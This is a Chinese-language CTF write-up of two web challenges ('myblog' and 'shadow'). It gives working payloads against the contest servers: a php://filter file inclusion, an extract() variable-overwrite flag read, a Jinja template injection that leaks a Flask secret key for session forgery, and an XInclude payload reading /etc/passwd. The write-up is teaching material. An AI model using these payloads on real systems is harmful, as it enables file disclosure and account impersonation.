2018鹏城杯myblog&shadow Writeup

myblog

这道题脑洞很大。。。

index.php的header中有flag: JTNGZmxhZw==,解base64得到参数%3Fflag,猜测index.php存在文件包含,运用flag参数读文件。

payload:http://58.20.46.150:26293/index.php?flag=php://filter/convert.base64-encode/resource=index

1
2
3
4
5
6
7
<?php
header('flag: JTNGZmxhZw==');
if(isset($_GET["flag"])){
$flag = $_GET["flag"];
include $flag.".php";
}
?>

提示aboutyou后端,about里也提到了base64,猜测存在YWJvdXQ=.php

payload:http://58.20.46.150:26293/index.php?flag=php://filter/convert.base64-encode/resource=YWJvdXQ=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
?>

变量覆盖,让$sign为空,$file读取不存在的文件,让$falg为flag读取文件。

payload:http://58.20.46.150:26293/YWJvdXQ=.php?sign=&filename=123&falg=flag

shadow

这题没有拿到flag,但是感觉也进行了绝大部分了,记录一下

题目提示有upload,直接访问提示Only admin can use it!

尝试模版注入拿到secret_key进行session伪造,发现访问不存在的页面可以进行模版注入

payload:

1+1 }}```
1
2
3
4
5
6
过滤了括号等,和twctf2018的Shrine相似
[CTFtime.org _ TokyoWesterns CTF 4th 2018 _ Shrine _ Writeup](https://ctftime.org/writeup/10895)
payload:```http://58.20.46.150:25524/{{ url_for.__globals__['current_app'].config }}

拿到secret_key为:as/*d21as-+dhasod5a4s54:><*()dfdsf

构造session,以admin登陆,访问upload,发现文件的表单名是xml,猜测可以上传xml内容进行解析

用xinclude来读取文件

1
2
3
4
<?xml version=“1.0?>
<root xmlns:xi=“http://www.w3.org/2001/XInclude“>
<xi:include href=“file:///etc/passwd” parse=“text”/>
</root>

但是最后没有找到flag,比赛结束了。。。不知道是不是有没发现的东西。